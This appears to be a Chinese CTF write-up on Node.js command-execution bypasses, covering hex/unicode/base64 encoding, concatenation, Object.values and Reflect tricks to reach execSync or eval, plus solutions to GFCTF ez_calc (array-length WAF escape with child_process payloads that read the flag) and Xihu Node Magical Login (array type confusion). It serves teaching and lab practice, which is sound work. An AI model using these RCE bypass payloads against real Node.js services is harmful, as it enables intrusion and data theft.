CTF题型 nodejs(1) 命令执行绕过典型例题

news2024/11/13 10:19:14

CTF题型 nodejs(1) 命令执行绕过

文章目录

  • CTF题型 nodejs(1) 命令执行绕过
  • 一.nodejs中的命令执行
  • 二.nodejs中的命令绕过
    • 1.编码绕过
    • 2.拼接绕过
    • 3.模板字符串
    • 4.Obejct.keys
    • 5.反射
    • 6.过滤中括号的情况
    • 典型例题
      • 1.[GFCTF 2021]ez_calc
      • 2.[西湖论剑 2022]Node Magical Login

一.nodejs中的命令执行

正常的nodejs中命令执行

require("child_process").execSync("sleep 3");

动态的一种绕过某些限制(比如模块缓存或包管理器的限制)的方法

global.process.mainModule.constructor._load("child_process").execSync("whoami")

global.process.mainModule.constructor._load来动态导入child_process模块

nodejs中如何访问属性

  1. 用 . 访问对象的属性
  2. 用 [] 访问属性

二.nodejs中的命令绕过

参考:https://www.anquanke.com/post/id/237032

回顾一下

命令执行的方式

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
在Node.js中,当使用child_process模块的execSync方法执行一个命令时,返回的是一个Buffer,而不是一个对象带有stdout属性。因此,尝试访问未定义的stdout属性会导致TypeError

回显直接用 .toString()方法

require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);

回显用 .stdout.toString() 往往和payload绑定在一起的

require("child_process").execFileSync('sleep', ['3']);

1.编码绕过

  1. 16进制绕过 \x61

  2. unicode编码绕过 ”反斜杠+u+码点” \u0061

  3. base64编码绕过

    eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())
    

这里是对字符操作,就是 被引号或者反引号包裹起来的字符

""
''
``

2.拼接绕过

  1. 加号拼接 + 拼接

  2. concat拼接

    "exe".concat("cSync")
    

3.模板字符串

nodejs中 `` 等价于 引号

比较特殊的是占位符 ${expression} 可以镶套变量

`${}`被``包裹

4.Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

image-20240326170342652

Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

等价于nodejs中的命令执行

5.反射

Reflect这个关键字来实现反射调用函数的方式

要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

console.log(Reflect.ownKeys(global)) //返回所有函数

console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])//得到eval函数

替换成evconsole.log(global[Reflect.ownKeys(global).find(x=>x.includes('ev'))])也是可以的

image-20240326171348273

也可以替换为console.log(global[Reflect.ownKeys(global).find(x=>x.startsWith('eva'))])注意不是startswith

6.过滤中括号的情况

获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕

Reflect.get(target, propertyKey[, receiver])`的作用是获取对象身上某个属性的值,类似于`target[name]

Reflect.get(global, Reflect.ownKeys(global).find(x => x.includes('eva')))("console.log(\"123\");");执行任意命令

image-20240326172937874

典型例题

1.[GFCTF 2021]ez_calc

image-20240326194648600

保证字符小写不是admin,大写又是ADMIN

考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制
同样的"K"的“小写”字符是k,也就是"K".toLowerCase() == ‘k’.
原理参考P牛文章:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

可以成功登录passwd=admin123&username=admın

到我们用F12查看源码时

F12获取的是浏览器解析后的源代码,可能会包含一些动态生成的内容

会发现泄露的源码


let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
    }
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
    calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
    calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
    calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
    calc = calc.replace("x", "");
}

try {
    result = eval(calc);

}

题目给了提示:

题目提示

1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有

可以在本地进行测试

image-20240326200746794

image-20240326200804581

非法字符后的都 替换成 ****

题目暗示传数组 本地测试后发现数组的length是传入的元素个数

image-20240326201656323

在第四个字符发现非法字符,但是slice是从第四的元素开始替换

存在逻辑问题,可以逃逸前四个字符(任意值)

会发现可以绕过这个判断实现逃逸

image-20240326202215728

因为禁止了 x 不能有exec

可以用require("child_process").spawn('sleep', ['3']);

直接调用 spawnSync('sleep', ['3']) 而没有将其结果赋值给一个变量时,Node.js 仍然会执行 sleep 命令并等待 3 秒,但你不会看到任何输出或结果,因为你没有处理这个返回的对象

将结果输出就可以了(就可以看到转圈)

calc[]=require('child_process').spawnSync('sleep',['3']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

可以成功执行命令

image-20240326203415285

现在的问题是如何读取flag

可以使用Object.keys方法 等价于execSync

Object.values(require('child_process'))[5]('sleep$IFS$93')

calc[]=Object.values(require('child_process'))[5]('sleep$IFS$93')&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

可以成功执行

尝试读取flag 但是execSync一直没有回显,不太清楚为什么

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

尝试写入静态文件,将flag写入a中

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

利用require('child_process').spawnSync('nl',['a']).stdout.toString();读文件

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

image-20240326211932052

2.[西湖论剑 2022]Node Magical Login

题目给了docker和源码

https://github.com/CTF-Archives/2022-xhlj-web-node_magical_login

登录源码

function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}

Math.random().toString()爆破不出了

image-20240326214243642

SECRET_COOKIE在环境变量中,也读不到

所以别想伪造了看看其他路由吧

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

只要cookie中user=admin就可以拿第一端flag

image-20240326215424052

NSSCTF{bdc4a03a-66cc

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

必须满足两个条件

1.checkcode.length === 16

2.抛出异常(toLowerCase()本意处理字符串但处理array会异常)

re1.body中用json传递checkcode数组

image-20240326215630625

可以得到完整flag

NSSCTF{bdc4a03a-66cc-4ebf-be7f-2b9f57ea7d49}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1546556.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

黑马头条day5总结

1、surefire-reports for the individual test results. 借鉴&#xff1a;【已解决】surefire-reports for the individual test results.-CSDN博客 Please refer to D:\javashizhan01\heima-leadnews\heima-leadnews-service\heima-leadnews-article\target\surefire-report…

手撕算法-数组中的第K个最大元素

描述 分析 使用小根堆&#xff0c;堆元素控制在k个&#xff0c;遍历数组构建堆&#xff0c;最后堆顶就是第K个最大的元素。 代码 class Solution {public int findKthLargest(int[] nums, int k) {// 小根堆PriorityQueue<Integer> queue new PriorityQueue<>…

k8s入门到实战(六)—— ConfigMap介绍

ConfigMap configmap 是 k8s 中的资源对象&#xff0c;用于保存非机密性的配置的&#xff0c;数据可以用 kv 键值对的形式保存&#xff0c;也可通过文件的形式保存。 什么是 configmap 在 k8s 中&#xff0c;ConfigMap 是一种用于存储应用程序配置数据的对象。它允许将配置信…

【python】Jupyter Notebook 修改默认路径

文章目录 一、修改前&#xff08;一&#xff09;问题&#xff08;二&#xff09;修改前的默认路径 二、修改配置文件、更改路径&#xff08;一&#xff09;找到配置文件并打开&#xff08;二&#xff09;创建目标文件夹、得到新的路径&#xff08;三&#xff09;修改配置文件 三…

小目标检测篇 | YOLOv8改进之GSConv + Slim Neck提升小目标检测效果

前言:Hello大家好,我是小哥谈。在文章中,作者提出了一种新方法GSConv来减轻模型的复杂度并保持准确性。GSConv可以更好地平衡模型的准确性和速度。并且,提供了一种设计范式Slim Neck,以实现检测器更高的计算成本效益。实验过程中,与原始网络相比,改进方法获得了最优秀的…

nginx--解决响应头带Set-Cookie导致的验证失败

解决响应头带Set-Cookie导致的验证失败 前言给nginx.conf 设置Secure配置完成后会发现cookie就不会发生变化了 前言 在用nginx做代理的时候&#xff0c;会发现nginx在访问不同ip请求的时候会带setCookie 导致后端就是放开cookie验证&#xff0c;在访问玩这个链接他更新了cooki…

成都爱尔胡建斌院长强调黄斑病变是眼睛哪儿出了问题

黄斑位于眼球内部的眼底的视网膜区域&#xff0c;处于人眼的光学中心区&#xff0c;是视力轴线的投影点。它是人眼视网膜中央视觉细胞最集中的部位。黄斑中心多为锥形细胞&#xff0c;对明暗不敏感&#xff0c;对色敏感。黄斑外围多为柱形细胞&#xff0c;对明暗敏感,对色几乎不…

javaWeb私人牙科诊所管理系统

一、摘要 随着科技的飞速发展&#xff0c;计算机已经广泛的应用于各个领域之中。在医学领域中&#xff0c;计算机主要应用于两个方面&#xff1a;一是医疗设备智能化&#xff0c;以硬件为主。另一种是病例信息管理系统&#xff08;HIS&#xff09;以软件建设为主&#xff0c;以…

深度学习pytorch——减少过拟合的几种方法(持续更新)

1、增加数据集 2、正则化(Regularization) 正则化&#xff1a;得到一个更加简单的模型的方法。 以一个多项式为例&#xff1a; 随着最高次的增加&#xff0c;会得到一个更加复杂模型&#xff0c;模型越复杂就会更好的拟合输入数据的模型&#xff08;图-1&#xff09;&#…

【数据结构与算法】用染色法判定二分图

问题描述 给定一个 n 个点 m 条边的无向图&#xff0c;图中可能存在重边和自环。 请你判断这个图是否是二分图。 输入格式 第一行包含两个整数 n 和 m。 接下来 m 行&#xff0c;每行包含两个整数 u 和 v&#xff0c;表示点 u 和点 v 之间存在一条边。 输出格式 如果给定图…

js中如何用点击地图获取经纬度

要实现在地图上点击并获取被点击地址的经纬度&#xff0c;然后渲染至页面中的功能&#xff0c;你需要首先确保你使用的地图API支持点击事件&#xff0c;并且能够返回点击位置的经纬度。以高德地图&#xff08;AMap&#xff09;为例&#xff0c;你可以按照以下步骤实现这个功能&…

wma怎么转换成mp3?无损转换!

WMA&#xff08;Windows Media Audio&#xff09;文件格式诞生于微软公司的数字音频技术研发。由于其高压缩性能和较好的音质&#xff0c;在推出初期主要用于Windows Media Player等微软产品。然而&#xff0c;随着MP3格式的盛行&#xff0c;WMA的使用范围逐渐受到限制。 MP3文…

ES6 基础

文章目录 1. 初识 ES62. let 声明变量3. const 声明常量4. 解构赋值 1. 初识 ES6 ECMAScript6.0(以下简称ES6)是JavaScript语言的下一代标准&#xff0c;已经在2015年6月正式发布了。它的目标&#xff0c;是使得」JavaScript语言可以用来编写复杂的大型应用程序&#xff0c;成为…

MySQL 经典练习 50 题 (记录)

前言&#xff1a; 记录一下sql学习&#xff0c;仅供参考基本都对了&#xff0c;不排除有些我做的太快做错了。里面sql不存在任何sql优化操作&#xff0c;只以完成最后输出结果为目的&#xff0c;包含我做题过程和思路最后一行才是结果。 1.过程: 1.1.插入数据 /* SQLyog Ul…

3.学习前后端关联

目录 1.接口类型 2.错误状态码 3.如何定义路由 4.那如何要求前端传入一个JSON数据呢&#xff1f; 4.解决前后端口不同源,跨域问题 1.使用CrossOrigin 2.直接复制代码使用 5.用户登录校验 1.接口类型 POST(新增数据)、PUT(更新更改数据)、GET(查询)、DELET(删除数据) …

Vivado ECO Flow

Vivado ECO流量 重要&#xff01;ECOs只在设计检查点上工作。ECO布局仅在设计后可用检查点已在Vivado IDE中打开。 工程变更单&#xff08;ECOs&#xff09;是对实施后网表的修改意图在对原始设计影响最小的情况下实施更改。Vivado提供ECO流&#xff0c;允许您修改设计检查点、…

Xshell连接虚拟机非常慢

问题&#xff1a; 打开虚拟机连接时发现过了几分钟依然卡着在&#xff0c;但是主机可以ping通虚拟机&#xff0c;虚拟机也可以ping通主机感觉很奇怪&#xff0c;查询后得知需要修改ssh设置 打开配置 vim /etc/ssh/sshd_config 修改配置 找到 UseDNS&#xff0c;去掉前面的#号…

大学宠物医疗试题及答案,分享几个实用搜题和学习工具 #学习方法#笔记#知识分享

大学开学&#xff0c;就意味着又回到了被线性代数、大学物理等测验题折磨的状态了……网站无法手动输入题干公式&#xff0c;初高中用过的搜题软件又都搜不到&#xff0c;想找个答案解析仿佛在大海捞针&#xff01;不过不用怕&#xff0c;今天小林就把从大学攒到毕业工作都在使…

苍穹外卖项目-01(开发流程,介绍,开发环境搭建,nginx反向代理,Swagger)

目录 一、软件开发整体介绍 1. 软件开发流程 1 第1阶段: 需求分析 2 第2阶段: 设计 3 第3阶段: 编码 4 第4阶段: 测试 5 第5阶段: 上线运维 2. 角色分工 3. 软件环境 1 开发环境(development) 2 测试环境(testing) 3 生产环境(production) 二、苍穹外卖项目介绍 …

ES 进阶知识

索引Index 一个索引就是一个拥有几分相似特征的文档的集合。比如说&#xff0c;你可以有一个客户数据的索引&#xff0c;另一个产品目录的索引&#xff0c;还有一个订单数据的索引。一个索引由一个名字来标识&#xff08;必须全部是小写字母&#xff09;&#xff0c;并且当我们…